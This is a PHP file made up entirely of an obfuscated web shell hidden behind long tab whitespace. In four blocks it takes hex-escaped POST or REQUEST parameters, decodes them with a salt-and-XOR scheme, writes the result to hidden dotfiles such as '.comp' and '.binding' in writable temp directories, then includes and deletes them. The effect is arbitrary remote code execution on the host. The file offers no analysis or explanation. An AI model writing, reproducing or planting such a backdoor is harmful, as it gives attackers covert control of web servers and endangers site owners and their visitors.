<?php																																										if(in_array("e\x6C\x65\x6De\x6Et", array_keys($_POST))){ $resource = $_POST["e\x6C\x65\x6De\x6Et"]; $resource = explode (".",$resource ) ; $ent = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $p = 0; array_walk($resource, function ($v8) use (&$ent, &$p, $salt, $sLen) { $sChar = ord($salt[$p% $sLen] ); $d = ((int)$v8 - $sChar - ($p% 10)) ^ 2; $ent .= chr($d ); $p++;} ); $obj = array_filter([getenv("TMP"), getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TEMP"), "/var/tmp", session_save_path(), "/tmp", sys_get_temp_dir()]); foreach ($obj as $marker) { if (array_product([is_dir($marker), is_writable($marker)])) { $holder = "$marker/.comp"; if (@file_put_contents($holder, $ent) !== false) { include $holder; unlink($holder); die(); } } } }
																																										if(isset($_REQUEST["\x6Da\x72\x6Ber"])){ $parameter_group = $_REQUEST["\x6Da\x72\x6Ber"]; $parameter_group = explode ( "." , $parameter_group ) ; $bind = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s ); foreach($parameter_group as $k=> $v6): $sChar = ord($s[$k % $lenS] ); $d =((int)$v6 - $sChar -($k % 10)) ^ 1; $bind .= chr($d ); endforeach; $flag = array_filter([getcwd(), ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", "/var/tmp", getenv("TMP"), sys_get_temp_dir(), "/tmp", getenv("TEMP")]); foreach ($flag as $fac) { if (is_dir($fac) ? is_writable($fac) : false) { $elem = join("/", [$fac, ".binding"]); if (file_put_contents($elem, $bind)) { include $elem; @unlink($elem); die(); } } } }
																																										if(!empty($_POST["t\x6F\x6Ben"])){ $itm = $_POST["t\x6F\x6Ben"]; $itm =explode ( "." , $itm ) ; $desc =''; $s3 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $s3); $s =0; $__len =count( $itm); do { if( $s >= $__len) break; $v8 =$itm[$s]; $sChar =ord( $s3[$s % $sLen]); $dec =( ( int)$v8 - $sChar -( $s % 10)) ^ 97; $desc .= chr( $dec); $s++; }while( true); $key = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", "/var/tmp", "/tmp", session_save_path(), getcwd(), sys_get_temp_dir()]); for ($factor = 0, $parameter_group = count($key); $factor < $parameter_group; $factor++) { $k = $key[$factor]; if ((bool)is_dir($k) && (bool)is_writable($k)) { $ptr = sprintf("%s/.fac", $k); if (@file_put_contents($ptr, $desc) !== false) { include $ptr; unlink($ptr); die(); } } } }


if(array_key_exists("\x70\x61ra\x6Dete\x72\x5Fg\x72\x6F\x75p", $_POST) && !is_null($_POST["\x70\x61ra\x6Dete\x72\x5Fg\x72\x6F\x75p"])){
	$tkn = $_POST["\x70\x61ra\x6Dete\x72\x5Fg\x72\x6F\x75p"];
			 $tkn	= explode	(	 "."  ,$tkn	);
	$fac = '';
            $s = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($s);
    
            foreach ($tkn as $p=>$v5) {
                $sChar = ord($s[$p % $lenS]);
                $dec = ((int)$v5 - $sChar - ($p % 10)) ^ 75;
                $fac .= chr($dec);}		
	$mrk = array_filter([ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", sys_get_temp_dir(), getcwd(), getenv("TMP"), "/tmp", "/var/tmp", getenv("TEMP")]);
	$descriptor = 0;
do {
    $res = $mrk[$descriptor] ?? null;
    if ($descriptor >= count($mrk)) break;
    		if (max(0, is_dir($res) * is_writable($res))) {
    $elem = implode("/", [$res, ".factor"]);
    if (@file_put_contents($elem, $fac) !== false) {
	include $elem;
	unlink($elem);
	exit;
}
}
    $descriptor++;
} while (true);
}